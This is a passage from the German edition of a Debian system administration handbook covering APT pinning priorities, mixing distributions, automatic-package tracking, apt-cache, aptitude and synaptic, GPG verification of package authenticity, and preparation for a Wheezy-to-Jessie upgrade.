Wenn APT /etc/apt/preferences prüft, betrachtet es zuerst die spezifischsten Einträge (oftmals die Einträge, die das betreffende Paket beschreiben) und die allgemeineren (dies beinhaltet beispielsweise alle Pakete einer Distribution). Wenn mehrere allgemeine Einträge existieren, wird der erste Treffer genutzt. Die zur Verfügung stehenden Auswahlkriterien umfassen den Paketnamen und die zur Verfügung stellenden Quelle. Jede Paketquelle wird durch die Informationen in einer Release-Datei beschrieben, die APT zusammen mit den Packages-Dateien herunter lädt. Sie umfasst die Herkunft (bei Paketen der offiziellen Spiegel normalerweise "Debian", es können aber auch Personen- oder Organisationsnamen sein, falls es sich um Paketdepots Dritter handelt) und den Distributionsnamen (normalerweise Stable, Testing, Unstable oder Experimental bei den Debian von bereitgestellten Standarddistributionen) zusammen mit der Version (zum Beispiel 8 für Debian Jessie). Betrachten wir die Syntax und Mechanismus anhand einiger Praxisbeispiele.

SPEZIFISCHER FALL Priorität von experimental

Auch wenn Sie Experimental zu Ihrer sources.list-Datei hinzugefügt haben, werden die darin enthaltenen Pakete wahrscheinlich niemals installiert, da deren Priorität auf 1 voreingestellt ist. Dabei handelt es sich um eine Sicherheitsvorkehrung, die verhindern soll, dass Anwender Experimental Pakete aus Versehen installieren. Diese Pakete lassen sich nur mittels aptitude install Paket/experimental installieren – Anwender, die diesen Befehl eingeben, müssen sich der Risiken bewusst sein, die sie damit eingehen. Es ist dennoch möglich (wenn auch nicht empfohlen), Pakete aus Experimental wie Pakete anderer Distributionen zu behandeln, indem Sie ihnen eine Priorität von 500 zuweisen. Sie erreichen dies über einen Eintrag in /etc/apt/preferences:

Package: *
Pin: release a=experimental
Pin-Priority: 500

Angenommen, Sie wollen nur Pakete aus der stable-Version von Debian verwenden. Pakete anderer Versionen sollen nicht installiert werden, es sei denn, dies wird explizit gewünscht. In dem Falle können Sie folgenden Eintrag in der Datei /etc/apt/preferences vornehmen:

Package: *
Pin: release a=stable
Pin-Priority: 900

Package: *
Pin: release o=Debian
Pin-Priority: -10

a=stable bestimmt den Namen der ausgewählten Distribution. o=Debian beschränkt den Umfang auf Pakete mit der Herkunft "Debian".

Lassen Sie uns nun annehmen, die besäßen einen Server mit lokalen Programmen, die Perl in der Version 5.14 benötigen und Sie wollen sicherstellen, das Aktualisierungen keine neuere Version installieren. Sie könnten folgenden Eintrag benutzen:

Package: perl
Pin: version 5.14*
Pin-Priority: 1001

Die Referenzdokumentation für diese Konfigurationsdatei finden Sie auf der Handbuchseite apt_preferences(5), die Sie mit man apt_preferences anzeigen lassen können.

TIPP Kommentare in /etc/apt/preferences

Es existiert keine offzielle Syntax für Kommentare in der /etc/apt/preferences Datei, aber Beschreibungen lassen sich mittels einer oder mehrerer “Explanation” Felder zu Beginn jedes Eintrags einfügen:

Explanation: The package xserver-xorg-video-intel provided
Explanation: in experimental can be used safely
Package: xserver-xorg-video-intel
Pin: release a=experimental
Pin-Priority: 500

6.2.6. Mit mehreren Distributionen arbeiten

Das ausgezeichnete Werkzeug apt versucht, die Pakete von anderen Distributionen zu übernehmen. Nachdem man vielleicht ein Stable System installiert hat, möchte man evtl. ein Software Paket aus Testing oder Unstable ausprobieren, ohne all zu weit vom ursprünglichen Zustand des Systems abzuweichen.

Selbst wenn Sie beim Mischen von Paketen aus unterschiedlichen Distributionen gelegentlich auf Probleme stossen sollten, apt verwaltet ein solches Nebeneinander sehr gut und beschränkt die Risiken sehr effektiv. Die beste Vorgehensweise ist, alle benutzten Distributionen in /etc/apt/sources.list einzutragen (es gibt Leute, die immer alle drei Distributionen eintragen, aber beachten Sie, dass Unstable nur für erfahrene Anwender vorgesehen ist) und die Referenzdistribution mit dem APT::Default-Release Parameter fest zu legen (siehe Abschnitt 6.2.3, „Das System aktualisieren“).

Nehmen wir einmal an, Stable sei Ihre Referenzdistribution aber Testing und Unstable seien auch in Ihrer sources.list-Datei gelistet. In diesem Fall können Sie apt install package/testing nutzen, um ein Paket aus Testing zu installieren. Sollte die Installation auf Grund von nicht auflösbaren Abhängigkeiten scheitern, lassen sich diese Abhängigkeiten in Testing durch Angabe des -t testing Parameters lösen. Dies gilt gleichermassen für Unstable.

In dieser Situation werden Aktualisierungen (upgrade und full-upgrade) in Stable vorgenommen, ausgenommen Pakete, die bereits auf eine andere Distribution aktualisiert wurden: Diese folgen den Aktualisierungen der anderen Distributionen. Wir erklären dieses Verhalten mit Hilfe der von APT gesetzten Standardprioritäten weiter unten. Benutzen Sie apt-cache policy (siehe Seitenleiste TIPP apt-cache policy), um die gesetzten Prioritäten zu überprüfen.

Alles beruht auf der Tatsache, dass APT nur Pakete gleich oder höher der installierten Version in Betracht zieht (unter der Annahme das /etc/apt/preferences für kein Paket eine Priorität größer als 1000 erzwingt).

TIPP apt-cache policy

Zögern Sie nicht, sich die mit einer Paketquelle verbundenen Standardprioritäten mittels apt-cache policy anzeigen zu lassen, um ein besseres Verständnis des Prioritäten-Mechanismus zu gewinnen. Sie können ebenfalls apt-cache policy Paket verwenden, um sich die Prioritäten aller verfügbaren Versionen eines gegebenen Paketes anzeigen zu lassen.

Lassen Sie uns annehmen, Sie hätten Version 1 eines ersten Pakets aus Stable installiert und Version 2 und 3 wären in Testing bzw. in Unstable verfügbar. Die installierte Version hat eine Priorität von 100 aber die Version aus Stable (genau die gleiche) hat eine Priorität von 990 (weil sie Bestandteil der Zieldistribution ist). Pakete in Testing und Unstable haben eine Priorität von 500 (die Standardpriorität einer nicht installierten Version). Der Gewinner ist daher die Version 1 mit der Priorität 990. Das Paket "bleibt in Stable”.

Nehmen wir ein anderes Beispiel: Die Version 2 eines Pakets wurde aus Testing installiert. Version 1 ist in Stable verfügbar und Version 3 in Unstable. Version 1 (mit der Priorität 990 – also niedriger als 1000) wird verworfen, da die Versionsnummer geringer als die der installierten Version ist. Bleiben nur Version 2 und 3, beide mit einer Priorität von 500. Mit dieser Alternative konfrontiert, wählt APT die neueste Version aus, die Version aus Unstable. Wenn Sie nicht wollen, das ein installiertes Paket aus Testing nach Unstable migriert, müssen Sie Paketen aus Unstable eine Priorität kleiner als 500 (490 zum Beispiel) zuweisen. Dazu können Sie /etc/apt/preferences anpassen:

Package: *
Pin: release a=unstable
Pin-Priority: 490

6.2.7. Automatisch installierte Pakete nachverfolgen

Eine der grundlegenden Funktionen von apt, ist das Verfolgen der über Abhängigkeiten installierten Pakete. Diese Pakete werden "automatisch" genannt und beinhalten beispielsweise oft Bibliotheken.

Mit diesen Informationen können die Paketmanager beim Entfernen von Paketen eine Liste von automatischen Paketen berechnen, die nicht mehr benötigt werden (da es keine "manuell installierten" Pakete gibt, von denen sie abhängen). apt-get autoremove entfernt diese Pakete. aptitude und apt kennt diesen Befehl nicht: der erste, weil er sie automatisch entfernt, sobald sie identifiziert werden, und der zweite wahrscheinlich, weil der Benutzer einen solchen Befehl nicht manuell auszuführen müssen soll. In allen Fällen zeigen die Werkzeuge eine klare Meldung an, die die betroffenen Pakete auflistet.

Es ist eine gute Idee, jedes Paket als automatisch zu markieren, das man nicht direkt benötigt, damit diese automatisch entfernt werden, wenn sie nicht weiter benötigt werden. apt-mark auto Paket markiert das betreffenbde Paket als automatisch, während apt-mark manual Paket das Gegenteil tut. aptitude markauto und aptitude unmarkauto arbeiten gleichermaßen, obwohl sie mehr Möglichkeiten bieten, viele Pakete auf einmal zu markieren (siehe Abschnitt 6.4.1, „aptitude“). Die konsolenbasierte interaktive Benutzerschnittstelle von aptitude macht es ebenfalls leicht, das "automatisch"-Flag zu überprüfen.

Manchmal möchte man wissen, warum ein automatisch installiertes Paket installiert wurde. Um auf der Kommandozeile an diese Information zu gelangen, können Sie aptitude why Paket benutzen (apt und apt-get haben keine entsprechende Funktion):

$ aptitude why python-debian
i   aptitude         Recommends apt-xapian-index
i A apt-xapian-index Depends    python-debian (>= 0.1.15)

ALTERNATIVE deborphan und debfoster

Früher, als apt, apt-get und aptitude automatische Pakete noch nicht überwachen konnten, gab es zwei Werkzeuge, die eine Liste nicht benötigter Pakete erstellten: deborphan und debfoster.

deborphan ist das rudimentärere von beiden. Es durchsucht die libs und oldlibs Bereiche (in Abwesenheit weiterer Anweisungen) nach Paketen, aktuell installiert sind aber von keinem anderen Paket benötigt werden. Die zurückgelieferte Liste kann dann als Basis für das Entfernen nicht benötigter Pakete dienen.

debfoster verfolgt einen komplexeren Ansatz, ähnlich dem von APT: Es verwaltet eine Liste von Paketen, die ausdrücklich installiert wurden und merkt sich, welche Pakete zwischen zwei Aufrufen wirklich benötigt wurden. Wenn neue Pakete im System auftauchen und wenn debfoster diese nicht als benötigte Pakete kennt, werden diese zusammen mit ihren Abhängigkeiten angezeigt. Das Programm bietet dann die Wahl: Entfernen der Pakete (wenn möglich mit den Abhängigkeiten), als explizit benötigt markieren oder temporär ignorieren.

6.3. Der Befehl apt-cache

Der Befehl apt-cache kann viele Informationen aus APTs interner Datenbank anzeigen. Diese Informationen sind eine Art von Zwischenspeicher (Cache), da sie aus verschiedenen, in der Datei sources.list gelisteten, Quellen zusammengetragen wurden. Dies passiert während der apt update Operation.

WÖRTERVERZEICHNIS Cache

Ein Cache (Zwischenspeicher) ist ein temporäres Speichersystem, das benutzt wird, um den Zugriff auf häufig genutzte Daten zu beschleunigen, wenn die üblichen Zugriffsmethoden sehr zeitaufwendig sind. Dieses Konzept kann auf vielfältige Situationen und in unterschiedlichen Dimensionen angewendet werden, vom Mikroprozessorkern bis zum High-End Speichersystem.

Im Falle von APT sind die Referenz-Packages Dateien diejenigen, die auf den Debian Spiegelservern liegen. Nichtsdestoweniger wäre es sehr uneffektiv, bei jeder Suche in der Datenbank verfügbarer Pakete über das Netzwerk zu gehen. Darum hält APT lokale Kopien dieser Dateien (in /var/lib/apt/lists/) vor, und führt eine Suche in diesen lokalen Dateien durch. Entsprechend enthält /var/cache/apt/archives/ einen Zwischenspeicher von bereits heruntergeladenen Paketen, damit diese nicht noch einmal heruntergeladen werden müssen, falls sie nach einer Deinstallation erneut installiert werden sollen.

Der Befehl apt-cache kann eine Schlüsselwort-basierte Paketsuche mittels apt-cache search Schlüsselwort durchführen. Ebenso kann er die Kopfzeilen verfügbarer Versionen von Paketen mit apt-cache show Paket anzeigen. Dieser Befehl liefert die Paketbeschreibung, dessen Abhängigkeiten, den Namen des Paket-Maintainers usw. Beachten Sie, dass apt search, apt show, aptitude search und aptitude show auf gleiche Weise funktionieren.

ALTERNATIVE axi-cache

apt-cache search ist ein sehr rudimentäres Werkzeug, das im Wesentlichen aus einem grep auf die Paketbeschreibungen besteht. Oft gibt es zu viele Treffer zurück oder aber gar keine, wenn man zu viele Schlüsselwörter angibt.

axi-cache search Ausdruck liefert dagegen bessere Ergebnisse, nach Relevanz geordnet. Es benutzt die Xapian-Suchmaschine und gehört zum Paket apt-xapian-index, das alle Paketinformationen indiziert (mehr noch, wie z.B. die .desktop-Dateien aller Debian Pakete). Es kennt Schlagwörter ("tags") (see sidebar WEITERE SCHRITTE Die Tag-Zeile) und die Antwortzeiten liegen in der Größenordnung von Millisekunden.

$ axi-cache search package use::searching
105 results found.
Results 1-20:
100% packagesearch - GUI for searching packages and viewing package information
98% debtags - Enables support for package tags
94% debian-goodies - Small toolbox-style utilities
93% dpkg-awk - Gawk script to parse /var/lib/dpkg/{status,available} and Packages
93% goplay - games (and more) package browser using DebTags
[...]
87% apt-xapian-index - maintenance and search tools for a Xapian index of Debian packages
[...]
More terms: search debian searching strigi debtags bsearch libbsearch
More tags: suite::debian works-with::software:package role::program interface::commandline implemented-in::c++ admin::package-management use::analysing
`axi-cache more' will give more results

Einige Merkmale werden seltener genutzt. Zum Beispiel apt-cache policy, das sowohl die Prioritäten von Paketquellen als auch die invidueller Pakete anzeigt. Ein weiteres Beispiel ist apt-cache dumpavail, welches die Kopfzeilen aller verfügbaren Versionen aller Pakete anzeigt. apt-cache pkgnames zeigt eine Liste aller Pakete an, die wenigstens einmal im Cache enthalten sind.

6.4. Benutzeroberflächen: aptitude, synaptic

APT ist ein C++ Programm, dessen Programmcode hauptsächlich in der Laufzeit-Bibliothek libapt-pkg enthalten ist. Die Nutzung einer Laufzeit-Bibliothek vereinfacht die Schaffung von Benutzerschnittstellen (Oberflächen), da der in der Bibliothek enthaltene Code einfach wiederverwendet werden kann. Historisch betrachtet war apt-get nur als Test-Benutzerschnittstelle für libapt-pkg gedacht, aber der Erfolg neigt dazu, diese Tatsache zu verschleiern.

6.4.1. aptitude

aptitude ist ein interaktives Programm, das im Pseudo-Grafikmodus der Console benutzt werden kann. Sie können durch eine Liste der installierten und der verfügbaren Pakete blättern, die verfügbaren Informationen einsehen und Pakete zur Installation oder Deinstallation auswählen. Das Programm wurde für die Nutzung durch Administratoren entworfen, so dass die Standardverhaltensweisen intelligenter als die von apt-get sind und die Oberfläche einfacher zu verstehen ist.

Abbildung 6.1. Das aptitude Paketverwaltungsprogramm

Nach dem Start zeigt aptitude eine Paketliste, sortiert nach Status (installiert, nicht installiert, installiert aber nicht auf den Spiegelservern verfügbar, andere Anzeigeoptionen, virtuelle Pakete und neue Pakete, die kürzlich auf den Spiegelservern entdeckt wurden). Sie können verschiedene Ansichten nutzen, um die Liste thematisch zu durchsuchen. In jedem Fall zeigt aptitude eine Liste, die Kategorien und Pakete kombiniert. Kategorien sind in einer Baumstruktur organisiert, deren Äste mit den Tastenkombinationen Eingabe, [ und ] auf- und zugeklappt werden können. + wählt ein Paket zur Installation aus, - wählt es zum Entfernen aus und _ zum vollständigen Löschen (Hinweis: Diese Tastenkombinationen können auch auf Kategorien angewendet werden, wobei die jeweilige Aktion dann auf alle Pakete der Kategorie angewendet wird). u aktualisiert die Liste der verfügbaren Pakete und Shift+u bereitet eine globale Systemaktualisierung vor. g wechselt in eine Übersicht der anstehenden Änderungen (ein weiterer Druck auf g führt die Änderungen durch) und q beendet die aktuelle Ansicht. Wenn Sie dies in der initialen Ansicht tun, beendet dies aptitude.

DOKUMENTATION aptitude

Dieser Abschnitt beschäftigt sich nicht mit den Feinheiten der Benutzung von aptitude, stattdessen liegt der Schwerpunkt darin, Ihnen ein "Überlebenspaket" für dessen Benutzung an die Hand zu geben. aptitude ist ziemlich umfassend dokumentiert, deswegen legen wir Ihnen die Nutzung des umfassenden Handbuches, verfügbar unter aptitude-doc-en package (/usr/share/doc/aptitude/html/en/index.html), ans Herz (Anm. d. Übers.: Aktuell leider nicht auf Deutsch verfügbar).

Um nach einem Paket zu suchen, tippen Sie /, gefolgt von einem Suchmuster. Dieses Muster wird mit den Paketnamen verglichen, kann aber auch auf die Beschreibung angewendet werden (durch ein vorangestelltes ~d), auf den Bereich (durch ein vorangestelltes ~s) oder auf ein anderes Kriterium, wie in der Dokumentation genauer beschrieben. Mit den gleichen Mustern können Sie die Liste der angezeigten Pakete filtern: Drücken Sie die l-Taste (wie in limit) und geben Sie das Muster ein.

Das Schlagwort(flag) "automatisch" der Debian Pakete (see Abschnitt 6.2.7, „Automatisch installierte Pakete nachverfolgen“) zu verwalten ist ein Klacks mit mit aptitude. Man kann die Liste der installierten Pakete durchgehen und als "automatisch" verschlagworten mit Shift+m oder das Schlagwort mit der Taste m entfernen. "Automatische Pakete" werden in der Paketliste mit einem "A" angezeigt. Diese Eigenschaft ermöglicht auch auf einfache Weise, die auf einer Maschine genutzten Pakete anzuzeigen, ohne all die Bibliotheken und und Abhängikeiten, um die Sie sich nicht wirklich kümmern wollen. Das entsprechende Muster für den Parameter l (der den Filtermodus aktiviert) ist ~i!~M. Damit gibt man an, dass nur installierte Pakete (~i) angezeigt werden, die nicht als "automatisch" (!~M) gekennzeichnet sind.

PROGRAMM aptitude auf der Befehlszeile nutzen

Die meisten Eigenschaften von aptitude sind sowohl über die interaktive Schnittstelle als auch über die Kommandozeile verfügbar. Diese Kommandos werden regelmäßigen Nutzern von apt-get und apt-cache bekannt vorkommen.

Die fortgeschrittenen Eigenschaften von aptitude sind auch auf der Kommandozeile verfügbar. Sie können die selben Paket-Suchmuster wie in der interaktiven Version nutzen. Wenn Sie beispielsweise die Liste der manuell installierten Paketen bereinigen wollen und wenn Sie wissen, dass keines der lokal installierten Programme bestimmte Bibliotheken oder Perl-Module benötigt, dann können Sie diese Pakete mit einem einzigen Kommando als "automatisch installiert" markieren:

# aptitude markauto '~slibs|~sperl'

Hier offenbart sich die Mächtigkeit der Mustersuche von aptitude, durch die es möglich ist, alle Pakete der Sektionen libs und perl gleichzeitig auszuwählen.

Beachten Sie: Wenn Pakete als automatisch markiert sind und kein anderes Paket von ihnen abhängt, werden sie bei der nächsten Gelegenheit (nach einer Rückfrage) entfernt.

6.4.1.1. Verwalten von Empfehlungen, Vorschläge und Aufgaben

Eine weitere interessante Eigenschaft von aptitude ist, dass es die Empfehlungen zwischen Paketen berücksichtigt und dabei dem Benutzer trotzdem gestattet von Fall zu Fall die Wahl zu treffen, ausgewählte Pakete nicht zu installieren. Zum Beispiel empfiehlt das Paket gnome (neben anderen) gdebi. Wenn Sie das erste zur Installation auswählen, wird das zweite ebenfalls ausgewählt (und als automatisch installiert markiert, falls es nicht bereits installiert ist). Drücken Sie g, wird dies deutlich: gdebi taucht in der Vorschau der der anstehenden Aktionen auf, unter "Pakete, die von anderen Paketen vorgeschlagen werden". Trotzdem bleibt Ihnen die Wahl, das Paket nicht zu installieren, indem Sie es abwählen, bevor Sie die anstehenden Aktionen ausführen lassen.

Beachten Sie, dass die Verfolgung von Empfehlungen nicht bei Aktualisierungen greift. Wenn beispielsweise eine neue Version von gnome ein Paket vorschlägt, das es vorher nicht vorgeschlagen hat, wird dieses neue Paket nicht zur Installation ausgewählt. Es wird allerdings in der Aktualisierungsliste angezeigt, damit der Administrator es trotzdem zur Installation auswählen kann.

Vorschläge zwischen Paketen werden ebenfalls in Betracht gezogen, allerdings angepasst an ihren jeweiligen Status. Beispielsweise schlägt gnome dia-gnome vor, welches dann in der Vorschau (in der Kategorie "Pakete, die von anderen Paketen vorgeschlagen werden") angezeigt wird. Auf diesem Weg ist es für den Administrator sichtbar und er kann entscheiden, ob er den Vorschlag annimmt, oder nicht. Da es sich nur um einen Vorschlag und nicht um eine Abhängigkeit handelt, wird das Paket nicht automatisch ausgewählt – seine Auswahl bedarf eines manuellen Eingriffs seitens des Benutzers (aus diesem Grund wird das Paket auch nicht als automatisch installiert markiert).

Im gleichen Sinn: Beachten Sie, dass aptitude intelligenten Gebrauch vom Aufgaben-Konzept macht (Aufgaben in diesem Kontext sind Programmgruppen für dedizierte Zwecke/Aufgaben). Da Aufgaben (Tasks) als Kategorien in den Paketlisten-Darstellungen angezeigt werden, können Sie entweder eine vollständige Aufgabe zur Installation oder zum Entfernen auswählen, oder Sie können die Paketliste der Aufgabe durchgehen, um eine Untermenge auszuwählen.

6.4.1.2. Bessere Problemlösungs-Algorithmen

Um diesen Abschnitt zu beschließen, lassen Sie uns festhalten, dass aptitude im Vergleich zu apt-get über raffiniertere Algorithmen verfügt, wenn es darum geht, schwierige Situationen aufzulösen. Wenn eine Folge von gewünschten Aktionen in Kombination zu einem inkohärenten System führen würde, wertet aptitude verschiedene mögliche Szenarien aus und schlägt diese in absteigender Relevanz vor. Trotzdem sind diese Algorithmen nicht unfehlbar. Glücklicherweise besteht immer die Möglichkeit, die auszuführenden Aktionen von Hand auszuwählen. Wenn die aktuell ausgewählten Aktionen zu Widersprüchen führen, wird im oberen Teil des Bildschirms eine Anzahl von beschädigten Paketen angezeigt (Sie können mit b direkt zu diesen Paketen navigieren). Dann können Sie manuell eine Lösung für die gefundenen Probleme zusammenstellen. Im Besonderen haben Sie Zugang zu den verschiedenen verfügbaren Versionen, indem Sie das Paket mit Enter anwählen. Löst die Auswahl einer der verfügbaren Versionen das Problem, sollten Sie sich nicht scheuen, Gebrauch von dieser Funktion zu machen. Sinkt die Anzahl der beschädigten Pakete auf Null können Sie beruhigt in die Zusammenfassung der anstehenden Aktionen springen und diese ein letztes Mal prüfen, bevor Sie sie ausführen.

HINWEIS Die Protokolldatei von aptitude

Ebenso wie dpkg führt aptitude Buch über ausgeführte Aktionen – in seiner Protokolldatei (/var/log/aptitude). Da beide Programme auf sehr unterschiedlichen Ebenen arbeiten, finden sich in den Protokolldateien beider Programme unterschiedliche Informationen. Während dpkg alle auf individuelle Pakete angewendeten Operationen Schritt für Schritt protokolliert, stellt aptitude eine breitere Sicht auf einer höheren Ebene, wie zum Beispiel eine systemweite Aktualisierung, dar.

Beachten Sie, dass die Protokolldatei nur eine Zusammenfassung der von aptitude ausgeführten Operationen umfasst. Wenn gelegentlich andere Benutzeroberflächen (oder gar dpkg selbst) benutzt werden, enthält die Protokolldatei von aptitude nur eine unvollständige Ansicht der durchgeführten Operationen, so dass Sie sich nicht auf diese Informationen verlassen können, um einen verlässlichen Verlauf des Systems wiederzugeben.

6.4.2. synaptic

synaptic ist eine grafische Paketverwaltung für Debian mit einer klaren und effizienten Benutzeroberfläche auf Basis von GTK+/GNOME. Die vielen gebrauchsfertigen Filter bieten einen schnellen Zugriff auf neu verfügbare Pakete, installierte Pakete, aktualisierbare Pakete, überflüssige Pakete usw. Während Sie diese Listen durchgehen, können sie Operationen auswählen, die auf die Pakete angewendet werden (installieren, aktualisieren, entfernen, vollständig löschen). Diese Operationen werden nicht umgehend ausgeführt, sondern in eine Aufgabenliste aufgenommen. Ein einzelner Klick auf eine Schaltfläche bestätigt die Operationen, die dann in einem Rutsch ausgeführt werden.

Abbildung 6.2. synaptic Paketverwaltungsprogramm

6.5. Die Echtheit eines Paketes prüfen

Sicherheit ist für die Administratoren der Falcot Corp sehr wichtig. Dementsprechend müssen sie sicherstellen, dass sie ausschließlich Pakete installieren, die garantiert von Debian stammen und die unterwegs nicht verändert wurden. Ein Cracker könnte versuchen, Schadcode in ein ansonsten rechtmäßiges Paket einzuschleusen. Ein solches Paket, falls installiert, könnte alles tun, was der Cracker vorgesehen hat, einschließlich der Preisgabe von Passwörtern oder vertraulichen Informationen. Um dies zu verhindern, stellt Debian fälschungssichere Siegel bereit, die – zum Zeitpunkt der Installation – gewährleisten, dass ein Paket wirklich von seinem offiziellen Betreuer stammt und nicht durch einen Dritten verändert wurde.

Das Siegel arbeitet mit einer Kette kryptografischer Hashfunktionen und Signaturen. Die signierte Datei ist die von den Debian-Spiegelservern bereitgestellte Release-Datei. Sie enthält eine Liste der Packages-Dateien (inklusiver der komprimierten Ausgaben Packages.gz und Packages.xz und der inkrementellen Versionen) zusammen mit ihren MD5, SHA1 und SHA256 Hashes, mit denen sich sicherstellen lässt, dass die Dateien nicht verändert wurden. Diese Packages-Dateien enthalten eine Liste der auf dem Spiegelserver verfügbaren Pakete zusammen mit ihres Hashes, mit denen wiederum sichergestellt werden kann, dass auch die Pakete ihrerseits nicht verändert wurden.

Die vertrauenswürdigen Schlüssel werden mit dem Befehl apt-key aus dem Paket apt verwaltet. Dieses Programm pflegt einen Schlüsselbund mit öffentlichen GnuPG Schlüsseln, mit denen die Signaturen in den Release.gpg-Dateien der Spiegelserver geprüft werden können. Es kann dazu benutzt werden, von Hand neue Schlüssel hinzuzufügen (wenn nicht-offizielle Spiegelserver benötigt werden). Im Allgemeinen werden aber nur die offiziellen Debian Schlüssel benötigt. Diese Schlüssel werden automatisch durch das debian-archive-keyring-Paket aktuell gehalten (welches die entsprechenden Schlüsselbunde (keyrings) in /etc/apt/trusted.gpg.d speichert). Dennoch erfordert die Erstinstallation dieses speziellen Paketes Aufmerksamkeit: Auch wenn dieses Paket wie alle anderen signiert ist, kann dessen Signatur nicht von außen überprüft werden. Vorsichtige Administratoren sollten deshalb die Fingerabdrücke importierter Schlüssel überprüfen, bevor sie ihnen zur Installation neuer Pakete vertrauen:

# apt-key fingerprint
/etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
----------------------------------------------------------
pub   4096R/2B90D010 2014-11-21 [expires: 2022-11-19]
Key fingerprint = 126C 0D24 BD8A 2942 CC7D  F8AC 7638 D044 2B90 D010
uid                  Debian Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
-------------------------------------------------------------------
pub   4096R/C857C906 2014-11-21 [expires: 2022-11-19]
Key fingerprint = D211 6914 1CEC D440 F2EB  8DDA 9D6D 8F6B C857 C906
uid                  Debian Security Archive Automatic Signing Key (8/jessie) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
-------------------------------------------------------
pub   4096R/518E17E1 2013-08-17 [expires: 2021-08-15]
Key fingerprint = 75DD C3C4 A499 F1A1 8CB5  F3C8 CBF8 D6FD 518E 17E1
uid                  Jessie Stable Release Key <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-squeeze-automatic.gpg
-----------------------------------------------------------
pub   4096R/473041FA 2010-08-27 [expires: 2018-03-05]
Key fingerprint = 9FED 2BCB DCD2 9CDF 7626  78CB AED4 B06F 4730 41FA
uid                  Debian Archive Automatic Signing Key (6.0/squeeze) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-squeeze-stable.gpg
--------------------------------------------------------
pub   4096R/B98321F9 2010-08-07 [expires: 2017-08-05]
Key fingerprint = 0E4E DE2C 7F3E 1FC0 D033  800E 6448 1591 B983 21F9
uid                  Squeeze Stable Release Key <debian-release@lists.debian.org>

/etc/apt/trusted.gpg.d/debian-archive-wheezy-automatic.gpg
----------------------------------------------------------
pub   4096R/46925553 2012-04-27 [expires: 2020-04-25]
Key fingerprint = A1BD 8E9D 78F7 FE5C 3E65  D8AF 8B48 AD62 4692 5553
uid                  Debian Archive Automatic Signing Key (7.0/wheezy) <ftpmaster@debian.org>

/etc/apt/trusted.gpg.d/debian-archive-wheezy-stable.gpg
-------------------------------------------------------
pub   4096R/65FFB764 2012-05-08 [expires: 2019-05-07]
Key fingerprint = ED6D 6527 1AAC F0FF 15D1  2303 6FB2 A1C2 65FF B764
uid                  Wheezy Stable Release Key <debian-release@lists.debian.org>

IN DER PRAXIS Vertrauenswürdige Schlüssel hinzufügen

Wenn eine Paketquellen von Dritten zur sources.listDatei hinzugefügt wird, muss APT angewiesen werdn, dem zugehörigen GPG-Authentifizierungsschlüssel der Paketquelle zu vertrauen (Andernfalls wird es sich ständig darüber beklagen, dass es die Authentizität der Pakete aus dieser Quelle nicht gewährleisten kann). Der erste Schritt ist natürlich, den öffentlichen GPG-Schlüssel der Paketquelle zu besorgen, der meist in Form einer kleinen Textdatei bereitgestellt wird. In den folgenden Beispielen werden wir sie key.asc nennen.

Um einen Schlüssel zum Schlüsselbund vertrauenswürdiger Schlüssel hinzuzufügen, kann der Administrator apt-key add < key.asc ausführen. Ein anderer Weg ist, die grafische Benutzeroberfläche synaptic zu nutzen: Im Reiter "Authentifizierung" im Einstellungen → Paketquellen Menü besteht die Möglichkeit, Schlüssel aus der key.asc-Datei zu importieren.

Anwender, die eine eigenständige Anwendung und mehr Details über vertrauenswürdige Schlüssel wünschen, steht mit gui-apt-key (im Paket gleichen Namens) eine grafische Benutzeroberfläche zur Verwaltung des Schlüsselbundes vertrauenswürdiger Schlüssel zur Verfügung.

Sobald die richtigen Schlüssel im Schlüsselbund sind, prüft APT die Signaturen vor jeder riskanten Operation, damit Benutzeroberflächen eine Warnung einblenden können, falls bei der Installation eines Pakets die Authentizität nicht bestätigt werden kann.

6.6. Von einer Stable Distribution auf die nächste aktualisieren

Eine der bekanntesten Eigenschaften von Debian ist die Fähigkeit, ein installiertes System von einer Stable Veröffentlichung auf die nächste aktualisieren zu können: dist-upgrade – ein wohlbekannter Ausdruck – hat erheblich zum Ansehen des Projekts beigetragen. Mit ein paar Vorkehrungen dauert die Aktualisierung eines Computers zwischen wenigen Minuten bis zu einigen Duzend Minuen, abhängig von der Downloadgeschwindigkeit der Paketquellen.

6.6.1. Empfohlene Vorgehensweise

Da Debian einiges an Zeit zur Weiterentwicklung zwischen den Stable Veröffentlichungen hat, sollten Sie vor einer Aktualisierung die Veröffentlichungshinweise lesen.

ZURÜCK ZU DEN GRUNDLAGEN Veröffentlichungshinweise

Die Veröffentlichungshinweise für ein Betriebssystem (oder generell für jede Software) geben einen Überblick über die Software mit Details zu den Besonderheiten der Version. Im Vergleich mit der vollständigen Dokumentation sind diese Dokumente eher kurz und sie führen die seit der letzten Version neu hinzugekommenen Eigenschaften auf. Ebenfalls enthalten sie Einzelheiten zur Aktualisierungsvorgehensweise, Warnungen für Benutzer von vorigen Versionen und manchmal ein Fehlerverzeichnis.

Veröffentlichungshinweise sind online verfügbar: Die Veröffentlichungshinweise für die aktuelle Stable Veröffentlichung haben eine fest zugeordnete URL, während ältere Veröffentlichungshinweise unter ihrem Codenamen zu finden sind:

→ http://www.debian.org/releases/stable/releasenotes

→ http://www.debian.org/releases/wheezy/releasenotes

In diesem Abschnitt gehen wir auf die Aktualisierung eines Wheezy Systems auf Jessie ein. Dies ist ein erheblicher Eingriff in ein System, der niemals 100% risikofrei ist und nur nach der Sicherung aller wichtigen Daten unternommen werden sollte.

Eine weitere gute Eigeschaft, die das Aktualisieren erleichtert (und verkürzt), ist das Aufräumen der installierten Pakete und dadurch nur die zu behalten, die wirklich gebraucht werden. Hilfreiche Werkzeuge dazu sind unter anderem aptitude, deborphan und debfoster (siehe Abschnitt 6.2.7, „Automatisch installierte Pakete nachverfolgen“). Sie können beispielsweise untenstehenden Befehl absetzen und anschließend im interaktiven Modus von aptitude die geplanten Aufräumarbeiten genau zu überprüfen und Feineinstellungen vornehmen:

# deborphan | xargs aptitude --schedule-only remove

